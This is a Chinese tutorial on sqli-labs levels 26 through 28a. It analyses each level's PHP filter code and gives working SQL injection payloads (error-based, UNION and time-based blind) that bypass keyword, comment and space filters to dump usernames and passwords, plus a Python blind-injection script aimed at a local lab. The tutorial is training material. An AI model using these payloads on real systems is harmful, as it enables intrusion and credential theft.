SQL-Labs靶場“26-28”關通關教程

君衍.

  • 一、二十六關 基于GET過濾空格以及注釋報錯注入
    • 1、源碼分析
    • 2、繞過思路
    • 3、updatexml報錯注入
  • 二、二十六a關 基于GET過濾空格注釋字符型注入
    • 1、源碼分析
    • 2、繞過思路
    • 3、時間盲注
  • 三、二十七關 基于union及select的過濾單引號注入
    • 1、源碼分析
    • 2、繞過思路
    • 3、聯合查詢注入
    • 4、updatexml報錯注入
  • 四、二十七a關 基于union及select的過濾雙引號注入
    • 1、源碼分析
    • 2、繞過思路
    • 3、聯合查詢注入
    • 4、時間盲注
  • 五、二十八關 基于union及select單引號括號注入
    • 1、源碼分析
    • 2、繞過思路
    • 3、聯合查詢注入
    • 4、時間盲注
  • 五、二十八a關 基于二十八關的過濾減少
    • 1、源碼分析
    • 2、繞過思路
    • 3、聯合查詢注入
    • 4、時間盲注

點擊跳轉:
SQL-Labs靶場“1-5”關通關教程
SQL-Labs靶場“6-10”關通關教程
SQL-Labs靶場“11-15”關通關教程
SQL-Labs靶場“15-20”關通關教程
SQL-Labs靶場“21-25”關通關教程

一、二十六關 基于GET過濾空格以及注釋報錯注入

請求方式注入類型拼接方式
GET聯合、報錯、布爾盲注、延時盲注id=‘$id’

剛打開的界面:
在這里插入圖片描述
我們可以看到它說所有的空格以及注釋好像讓過濾掉了,這里我們首先進行驗證:

1、令id為1觀察回顯

在這里插入圖片描述

2、令id為1后面加上單引號觀察是否會報錯

在這里插入圖片描述
我們這里可以看到有報錯,所以我們之后可以進行嘗試使用報錯注入。

3、測試使用聯合查詢觀察過濾后的語句

在這里插入圖片描述
我們這里即可看到它將注釋符以及空格進行了過濾從而引發報錯,下面我們當然是想辦法繞過,所以我們先查看源碼。

1、源碼分析

include("../sql-connections/sqli-connect.php");
// take the variables 
if(isset($_GET['id']))
{$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);//fiddling with comments$id= blacklist($id);//echo "<br>";//echo $id;//echo "<br>";$hint=$id;
// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}else {print_r(mysqli_error($con1));}
}else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*$id= preg_replace('/[--]/',"", $id);		//Strip out --$id= preg_replace('/[#]/',"", $id);			//Strip out #$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashesreturn $id;
}

首先先解讀源碼,第一步獲取了變量id值,然后執行了blacklist函數進行了過濾,之后進入SQL語句中進行查詢,如果可以查到,輸出查詢到的信息,所以這里我們使用聯合查詢其實也是可以的。如果沒有查詢到,那么輸出報錯信息。也就是報錯注入也可以進行嘗試。

這里我們也來看下具體的過濾情況:

# 過濾了or以及and的大小寫
$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
# 過濾了/*
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
# 過濾了--以及#注釋符
$id= preg_replace('/[--]/',"", $id);		//Strip out --
$id= preg_replace('/[#]/',"", $id);			//Strip out #
# 過濾了空格
$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
# 過濾了斜線
$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes

在這里插入圖片描述

2、繞過思路

這里過濾了以下幾個字符:

1、or以及and的大小寫

我們可以考慮以下幾種繞過方式:

and = &&
or = ||
# 異或
xor = |
not = !

使用這幾種字符進行替換掉or以及and。
第二便是使用雙寫進行繞過:
即為:

or=oorr
and=anandd

2、過濾了–以及#注釋符

這里我們可以使用閉合或者分號NULL的方式繞過:

1and '1'='1 #這里需要注意使用時觀察閉合方式完成閉合
2;%00       #這里%00就是NULL的意思,這里可以充當注釋符
3、`          #一些特殊的情況下可以充當注釋

3、過濾了空格

這里我們使用如下幾種方式繞過:

1/**/ #注釋即可充當空格
2()
3、兩個空格

也可采用url編碼繞過:

符號說明
%09TAB 鍵 (水平)
%0a新建一行
%0c新的一頁
%0dreturn 功能
%0bTAB 鍵 (垂直)
%a0空格

3、updatexml報錯注入

1、爆出數據庫名

payload:

?id=1'aandnd(updatexml(1,concat(0x7e,database(),0x7e),1));%00

在這里插入圖片描述

2、爆出數據庫中的所有表

payload:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1));%00

在這里插入圖片描述

3、爆出users表中所有列名

payload:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema='security')anandd(table_name='users'))),0x7e),1));%00

在這里插入圖片描述

4、查詢數據

payload:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(username,0x3a,passwoorrd))from(users)),0x7e),1));%00

在這里插入圖片描述
觀察字符限制使用limit或者substr函數進行截取即可。

二、二十六a關 基于GET過濾空格注釋字符型注入

請求方式注入類型拼接方式
GET聯合、布爾盲注、延時盲注id=(‘$id’)

本關同26關的注入點判斷基本一致,唯獨這里可以發現的不同便是沒有了報錯,首先我們使用id為1進行測試:
在這里插入圖片描述
然后在1后面加上單引號:
在這里插入圖片描述
由這里我們即可判斷出報錯注入顯然是不能使用了,同時我們在使用參數為1測試中發現是進行了查詢信息的回顯的,所以這里我們可以試著使用聯合查詢進行注入。同時,盲注我們還需知道閉合方式來進行判斷是否可以繞過得到不同的界面。

1、源碼分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{//print_r(mysqli_error($con1));
}

這里與26關不同的地方便是閉合方式以及注釋掉了報錯信息顯示,所以這里我們是無法使用報錯注入的。同時過濾函數同26關相同。
在這里插入圖片描述

2、繞過思路

這里過濾了以下幾個字符:

1、or以及and的大小寫

我們可以考慮以下幾種繞過方式:

and = &&
or = ||
# 異或
xor = |
not = !

使用這幾種字符進行替換掉or以及and。
第二便是使用雙寫進行繞過:
即為:

or=oorr
and=anandd

2、過濾了–以及#注釋符

這里我們可以使用閉合或者分號NULL的方式繞過:

1and '1'='1 #這里需要注意使用時觀察閉合方式完成閉合
2;%00       #這里%00就是NULL的意思,這里可以充當注釋符
3、`          #一些特殊的情況下可以充當注釋

3、過濾了空格

這里我們使用如下幾種方式繞過:

1/**/ #注釋即可充當空格
2()
3、兩個空格

也可采用url編碼繞過:

符號說明
%09TAB 鍵 (水平)
%0a新建一行
%0c新的一頁
%0dreturn 功能
%0bTAB 鍵 (垂直)
%a0空格

3、時間盲注

這里我們使用時間盲注進行注入,比如說這里我們首先測試數據庫名的第一個字符的ascii值是否大于100,那么我們構造payload:

?id=1')anandd(if(ascii(left(database(),1))>100,sleep(3),0));%00

在這里插入圖片描述
我們可以看到回顯需要3秒以上,所以我們我們可以使用盲注的方式進行注入,我們編寫成python來完成我們的盲注:

import requests
import timedef inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1')aandnd(if(ascii(substr(database(),%d,1))>%d, sleep(1), 0))aandnd('1')=('1" % (i, mid)params = {"id": payload}start_time = time.time()r = requests.get(url, params=params)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli7/Less-26a/index.php'inject_database(url)

在這里插入圖片描述
可以看到非常的方便,下面我們便是更改payload繼續進行時間盲注。

三、二十七關 基于union及select的過濾單引號注入

請求方式注入類型拼接方式
GET聯合、報錯、布爾盲注、延時盲注id=(‘$id’)

在這里插入圖片描述
從主頁面我們可以看到它說明將我們的union以及select進行了過濾,但是我們依舊是按照常規的注入思路進行注入點判斷注入:

1、使用id為1進行查詢,觀察回顯

在這里插入圖片描述
這里我們可以看到回顯了查詢到的內容,所以我們之后可以進行嘗試聯合查詢注入,先不說它將union以及select進行了過濾。

2、使用id為1后面加上單引號查看是否有回顯

在這里插入圖片描述
我們可以看到這里是進行了報錯的,所以我們即使不使用union以及select進行查詢也是可以嘗試使用報錯注入進行注入的。

1、源碼分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{print_r(mysqli_error($con1));
}function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

這里我們可以看到和26關相似,只是過濾的內容變了,所以我們現在進行分析:

function blacklist($id)
{
# 過濾了/*
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
# 過濾了-
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
# 過濾了#
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
# 過濾了空格
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
# 過濾了select /m嚴格模式不能進行雙寫繞過
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
# 過濾了union以及其大寫
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

2、繞過思路

union以及select沒有忽略大小寫,所以依舊可以進行繞過:

# 大小寫混寫
unioN
unIon
seLect
...# 嵌套雙寫
uunionnion
sselectelect
ununionion
...

這里還過濾了以下幾個字符:

過濾了–以及#注釋符

這里我們可以使用閉合或者分號NULL的方式繞過:

1and '1'='1 #這里需要注意使用時觀察閉合方式完成閉合
2;%00       #這里%00就是NULL的意思,這里可以充當注釋符
3、`          #一些特殊的情況下可以充當注釋

過濾了空格

這里我們使用如下幾種方式繞過:

1/**/ #注釋即可充當空格
2()
3、兩個空格

也可采用url編碼繞過:

符號說明
%09TAB 鍵 (水平)
%0a新建一行
%0c新的一頁
%0dreturn 功能
%0bTAB 鍵 (垂直)
%a0空格

3、聯合查詢注入

我們這里使用%0a進行嘗試看是否可以代替空格(我們使用猜字段的方式:)

?id=9999'%0aorder%0aby%0a4;%00

在這里插入圖片描述
我們可以看到使用%0a代替了空格且成功繞過,下面我們就正常思路使用聯合查詢注入:

1、爆出數據庫名以及版本

?id=9999'%0auNion%0asElect%0a1,database(),version();%00

在這里插入圖片描述
這里之所以使用9999,那是因為如果我們需要使用聯合查詢時,我們需要使聯合查詢前面的條件為假,我們之前使用-1,但是這里由于過濾掉了-號,所以我這里使用了9999遠大于庫中數據的數量。

2、爆出數據庫中的表名

?id=9999'uNion%0asElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在這里插入圖片描述

3、查詢可疑表users中的所有列名

?id=9999'uNion%0asElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在這里插入圖片描述

4、爆出數據

?id=9999'uNion%0asElect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在這里插入圖片描述
這里我們即可完成注入。

4、updatexml報錯注入

1、爆出數據庫名

?id=1'%0aand%0aupdatexml(1,concat(0x7e,database(),0x7e),1);%00

在這里插入圖片描述

2、爆出數據庫中的表

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0agroup_concat(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema='security'),0x7e),1);%00

在這里插入圖片描述

3、爆出數據庫中可疑表users的列名

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0agroup_concat(column_name)from%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users'),0x7e),1);%00

在這里插入圖片描述

4、爆出數據

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0aconcat(username,0x3a,password)from%0ausers%0alimit%0a0,1),0x7e),1);%00

在這里插入圖片描述
自此,27關注入即可完成。

四、二十七a關 基于union及select的過濾雙引號注入

請求方式注入類型拼接方式
GET聯合、布爾盲注、延時盲注id=“$id”

本關和27關注入點判斷基本一致,但是在使用1雙引號傳入參后,會發現沒有了報錯:
在這里插入圖片描述
在這里插入圖片描述
所以這里注入點這里沒有了,我們也就不能使用報錯注入,但是依舊可以看到查詢到的結果是進行了回顯的,所以我們之后可以進行嘗試使用聯合查詢注入。

1、源碼分析

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{//print_r(mysqli_error($con1));
}
···# 與27關一致

這里我們可以看到它將報錯信息顯示進行了注釋,同時閉合方式采用了雙引號進行閉合,剩下的過濾函數與27關一致。
在這里插入圖片描述

2、繞過思路

union以及select沒有忽略大小寫,所以依舊可以進行繞過:

# 大小寫混寫
unioN
unIon
seLect
...# 嵌套雙寫
uunionnion
sselectelect
ununionion
...

這里還過濾了以下幾個字符:

過濾了–以及#注釋符

這里我們可以使用閉合或者分號NULL的方式繞過:

1and '1'='1 #這里需要注意使用時觀察閉合方式完成閉合
2;%00       #這里%00就是NULL的意思,這里可以充當注釋符
3、`          #一些特殊的情況下可以充當注釋

過濾了空格

這里我們使用如下幾種方式繞過:

1/**/ #注釋即可充當空格
2()
3、兩個空格

也可采用url編碼繞過:

符號說明
%09TAB 鍵 (水平)
%0a新建一行
%0c新的一頁
%0dreturn 功能
%0bTAB 鍵 (垂直)
%a0空格

3、聯合查詢注入

我們這里使用%0a進行嘗試看是否可以代替空格(我們使用猜字段的方式:)

?id=1"%0aorder%0aby%0a3;%00
?id=1"%0aorder%0aby%0a4;%00

在這里插入圖片描述
在這里插入圖片描述
我們可以看到使用%0a代替了空格且成功繞過,下面我們就正常思路使用聯合查詢注入:

1、爆出數據庫名以及版本

?id=9999"%0auNion%0asElect%0a1,database(),version();%00

在這里插入圖片描述
這里之所以使用9999,那是因為如果我們需要使用聯合查詢時,我們需要使聯合查詢前面的條件為假,我們之前使用-1,但是這里由于過濾掉了-號,所以我這里使用了9999遠大于庫中數據的數量。

2、爆出數據庫中的表名

?id=9999"uNion%0asElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在這里插入圖片描述

3、查詢可疑表users中的所有列名

?id=9999"uNion%0asElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在這里插入圖片描述

4、爆出數據

?id=9999"uNion%0asElect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在這里插入圖片描述
這里我們即可完成注入。

4、時間盲注

當然這里也可以使用時間盲注,payload如下:

?id=1"%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a"1"="1

在這里插入圖片描述
判斷數據庫名第一個字符是否大于115:

?id=1"%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a"1"="1

在這里插入圖片描述
由此可見我們也可編寫python腳本即可完成注入。

五、二十八關 基于union及select單引號括號注入

請求方式注入類型拼接方式
GET聯合、布爾盲注、延時盲注id=(‘$id’)

本關依舊和二十七關類似,使用1以及1單引號來進行請求查看回顯:
在這里插入圖片描述
在這里插入圖片描述
我們依舊可以看到輸出了查詢到的信息,但是并沒有輸出報錯信息,所以本關和27a類似,可以使用聯合查詢以及盲注的方式注入。

1、源碼分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{//print_r(mysqli_error($con1));
}
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

本關采用單引號括號進行閉合,同時注釋了報錯信息,輸出了查詢到的信息,同時過濾了一些字符。與27a關不同的便在于閉合方式以及過濾的內容。
在這里插入圖片描述

2、繞過思路

首先我們來看本關的過濾內容:

# 過濾了/*
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
# 過濾了-以及#注釋符
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
# 過濾了空格
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
# 過濾了union select /i大小寫都進行了過濾
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

所以這里我們大小寫繞過是不可能的了,這里我們使用雙寫進行繞過union以及select的過濾。

# 嵌套雙寫
uunionnion
sselectelect
ununionion
...

這里還過濾了以下幾個字符:

過濾了–以及#注釋符

這里我們可以使用閉合或者分號NULL的方式繞過:

1and '1'='1 #這里需要注意使用時觀察閉合方式完成閉合
2;%00       #這里%00就是NULL的意思,這里可以充當注釋符
3、`          #一些特殊的情況下可以充當注釋

過濾了空格

這里我們使用如下幾種方式繞過:

1/**/ #注釋即可充當空格
2()
3、兩個空格

也可采用url編碼繞過:

符號說明
%09TAB 鍵 (水平)
%0a新建一行
%0c新的一頁
%0dreturn 功能
%0bTAB 鍵 (垂直)
%a0空格

3、聯合查詢注入

我們這里使用%0a進行嘗試看是否可以代替空格(我們使用猜字段的方式:)

?id=1')%0aorder%0aby%0a3;%00
?id=1')%0aorder%0aby%0a4;%00

在這里插入圖片描述
在這里插入圖片描述
我們可以看到使用%0a代替了空格且成功繞過,下面我們就正常思路使用聯合查詢注入:

1、爆出數據庫名以及版本

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,database(),version();%00

在這里插入圖片描述

這里之所以使用9999,那是因為如果我們需要使用聯合查詢時,我們需要使聯合查詢前面的條件為假,我們之前使用-1,但是這里由于過濾掉了-號,所以我這里使用了9999遠大于庫中數據的數量。

2、爆出數據庫中的表名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在這里插入圖片描述

3、查詢可疑表users中的所有列名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在這里插入圖片描述

4、爆出數據

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在這里插入圖片描述
這里我們即可完成注入。

4、時間盲注

當然這里也可以使用時間盲注,payload如下:

?id=1')%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a('1')=('1

在這里插入圖片描述
判斷數據庫名第一個字符是否大于115:

?id=1')%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a('1')=('1

在這里插入圖片描述
由此可見我們也可編寫python腳本即可完成注入。

五、二十八a關 基于二十八關的過濾減少

請求方式注入類型拼接方式
GET聯合、布爾盲注、延時盲注id=(‘$id’)

本關只是比28關少了幾個過濾,剩下全部一樣,所以注入點判斷依舊是一樣的,使用1以及1單引號進行測試:
在這里插入圖片描述
在這里插入圖片描述
這里我們依舊可以看到回顯查詢到的信息,不回顯報錯信息。

1、源碼分析

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}

**剩余代碼與28關都一樣。。。**同時將這些過濾注釋掉了,所以本關就是······難評。
在這里插入圖片描述

2、繞過思路

# 過濾了union select /i大小寫都進行了過濾
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

所以這里我們大小寫繞過是不可能的了,這里我們使用雙寫進行繞過union以及select的過濾。

# 嵌套雙寫
uunionnion
sselectelect
ununionion
...

3、聯合查詢注入

?id=1')%0aorder%0aby%0a3;%00
?id=1')%0aorder%0aby%0a4;%00

在這里插入圖片描述
在這里插入圖片描述
我們可以看到使用%0a代替了空格且成功繞過,下面我們就正常思路使用聯合查詢注入:

1、爆出數據庫名以及版本

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,database(),version();%00

在這里插入圖片描述

這里之所以使用9999,那是因為如果我們需要使用聯合查詢時,我們需要使聯合查詢前面的條件為假,我們之前使用-1,但是這里由于過濾掉了-號,所以我這里使用了9999遠大于庫中數據的數量。

2、爆出數據庫中的表名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在這里插入圖片描述

3、查詢可疑表users中的所有列名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在這里插入圖片描述

4、爆出數據

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在這里插入圖片描述
這里我們即可完成注入。

4、時間盲注

當然這里也可以使用時間盲注,payload如下:

?id=1')%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a('1')=('1

在這里插入圖片描述
判斷數據庫名第一個字符是否大于115:

?id=1')%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a('1')=('1

在這里插入圖片描述
由此可見我們也可編寫python腳本即可完成注入。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/711863.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/711863.shtml
英文地址,請注明出處:http://en.pswp.cn/news/711863.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

laravel cache

一、基本操作 Cache::put() 創建緩存&#xff08;鍵&#xff0c;值&#xff0c;有效期&#xff08;單位是秒&#xff09;&#xff09; Cache::get() 獲取緩存 Cache::add() 只會在緩存項不存在的情況下添加數據到緩存&#xff0c;如果數據被成功返回 true&#xff0c;否則&…

Android在后臺讀取UVC攝像頭的幀數據流并推送

Android在后臺讀取UVC攝像頭的幀數據流并推送 添加UvcCamera依賴庫 使用原版的 saki4510t/UVCCamera 在預覽過程中斷開可能會閃退&#xff0c;這里使用的是 jiangdongguo/AndroidUSBCamera 中修改的版本&#xff0c;下載到本地即可。 https://github.com/jiangdongguo/AndroidU…

Rust學習筆記:基礎工具和基本名詞

不要用共享內存來通信&#xff0c;要用通信來共享內存 rustup: 一個用于管理 Rust 版本和相關工具的命令行工具 rustup update cargo: Rust 的構建系統和包管理工具 構建代碼下載依賴庫并構建下載庫 crate: 代碼包/庫 trait: 特性、功能 ///: 生成 html 格式的 doc&#…

CELL文獻速遞 | 了解微生物如何在社會中傳播并塑造我們的健康

谷禾健康 當人還是嬰兒時&#xff0c;會從父母那里得到微生物&#xff1b;和寵物玩耍或接觸時&#xff0c;也會從寵物那得到微生物&#xff1b;有時候人沒有直接和動物玩耍&#xff0c;只是接觸動物的糞便&#xff0c;甚至其他環境的微生物&#xff0c;都會交換微生物... 這些其…

智慧治水丨計訊物聯水利RTU助推小型水庫出險加固工程建設與管理

日前&#xff0c;水利部印發《關于健全小型水庫除險加固和運行管護機制的意見》&#xff08;以下簡稱《意見》&#xff09;&#xff0c;健全小型水庫除險加固和運行管護常態化機制&#xff0c;提高小型水庫安全管理水平。《意見》提出了“十四五”的兩大管理機制&#xff0c;通…

adb下載安裝及使用教程

adb下載安裝及使用教程 一、ADB的介紹1.ADB是什么&#xff1f;2.內容簡介3.ADB常用命令1. ADB查看設備2. ADB安裝軟件3. ADB卸載軟件4. ADB登錄設備shell5. ADB從電腦上發送文件到設備6. ADB從設備上下載文件到電腦7. ADB顯示幫助信息 4.為什么要用ADB 二、ADB的下載1.Windows版…

Flutter GetX 之 暗黑模式

我們緊接上篇文章,今天繼續講解一下強大的 GetX 的另一個功能,就是 暗黑模式 ,在iOS 13開始蘋果的應用慢慢的都開始適配 暗黑模式,andr。oid 也慢慢的 開始跟進,截止到目前,商店的大部分應用都已經完成了 暗黑模式 的適配。 原生開發為我們提供對應的 API,那么Flutter呢…

機器學習相關概念及術語總結

目錄 1.機器學習2.監督學習3.無監督學習4.線性回歸5.邏輯回歸 1.機器學習 機器學習的定義&#xff1a;一個計算機程序可從經驗E&#xff08;Experience&#xff09;中學習如何完成任務T&#xff08;Task&#xff09;&#xff0c;并且隨著經驗E的增加&#xff0c;性能指標P&…

Python中reduce函數和lambda表達式的學習

reduce函數將一個數據集合&#xff08;鏈表&#xff0c;元組等&#xff09;中的所有數據進行下列操作&#xff1a;用傳給 reduce 中的函數 function&#xff08;有兩個參數&#xff09;先對集合中的第 1、2 個元素進行操作&#xff0c;得到的結果再與第三個數據用 function 函數…

【論文精讀】DINOv2

摘要 學習與特定任務無關的預訓練表示已經成為自然語言處理的標準&#xff0c;這些表示不進行微調&#xff0c;即可在下游任務上明顯優于特定任務模型的性能。其主要得益于使用無監督語言建模目標對大量原始文本進行預訓練。 遵循NLP中的這種范式轉變&#xff0c;以探索計算機視…

iSlide插件2024免費版(包含52 個PPT設計輔助功能,9 大在線資源庫,以及超 50 萬 專業)

一、功能介紹 iSlide是一款專為PowerPoint設計的插件&#xff0c;它集合了眾多設計與效率提升的功能&#xff0c;幫助用戶更快速、更美觀地制作演示文稿。 主題設計&#xff1a;提供多種設計主題&#xff0c;用戶只需一鍵應用&#xff0c;即可為幻燈片賦予統一的視覺風格。智…

每次提出一個bug都讓測試重現,描述得那么清楚,自己操作下不會嗎?

一說到測試和開發的關系&#xff0c;你一定會想到一個詞“冤家”。 開發的工作就是按照PM的設計將產品最終造出來&#xff0c;而測試則是在開發已完成的工作里糾錯。so&#xff0c;測試的工作會讓開發很不爽&#xff0c;人之常情&#xff0c;誰都不喜歡自己的勞動成果被別人挑…

react路由基礎

1.目錄 A. 能夠說出React路由的作用 B. 能夠掌握react-router-dom的基本使用 C. 能夠使用編程式導航跳轉路由 D. 能夠知道React路由的匹配模式 2.目錄 A. React路由介紹 B. 路由的基本使用 C. 路由的執行過程 D. 編程式導航 E. 默認路由 F. 匹配模式 3.react路由介紹 現代…

開源項目:圖像分類技術在醫療影像分析中的應用與實踐

一、引言 在當今快速發展的醫療行業中&#xff0c;數字醫療正逐漸成為提升醫療服務質量和效率的關鍵力量。本項目旨在通過整合醫藥電商、遠程問診、慢病管理等多維度服務&#xff0c;為消費者和企業提供全面的醫療解決方案。項目的核心在于運用先進的圖像分類技術&#xff0c;以…

回歸測試:在不斷變化的環境中確保軟件的穩定性

軟件開發是一個復雜的過程&#xff0c;需要不斷變化和更新以滿足客戶不斷變化的需求&#xff0c;但它們也可能產生新問題或導致舊問題重新出現。這就是回歸測試的用武之地——它是在不斷變化的環境中確保軟件穩定性的重要組成部分。 在這篇文章中&#xff0c;我們將深入探討什…

第40期 | GPTSecurity周報

GPTSecurity是一個涵蓋了前沿學術研究和實踐經驗分享的社區&#xff0c;集成了生成預訓練Transformer&#xff08;GPT&#xff09;、人工智能生成內容&#xff08;AIGC&#xff09;以及大語言模型&#xff08;LLM&#xff09;等安全領域應用的知識。在這里&#xff0c;您可以找…

基于springboot + vue實現的前后端分離-在線旅游網站系統(項目 + 論文)

項目介紹 本旅游網站系統采用的數據庫是MYSQL &#xff0c;使用 JSP 技術開發&#xff0c;在設計過程中&#xff0c;充分保證了系統代碼的良好可讀性、實用性、易擴展性、通用性、便于后期維護、操作方便以及頁面簡潔等特點。 技術選型 后端: SpringBoot Mybatis 數據庫 : MyS…

Qt 使用windows注冊表保存設置

重點&#xff1a; 1.在構造函數中初始化&#xff0c;確認注冊表中的一個目錄 QApplication::setOrganizationName("WWB-Qt");QApplication::setApplicationName("samp7_5"); 只要使用下面語句定義變量setting QSettings setting 表示setting指向注冊表目…

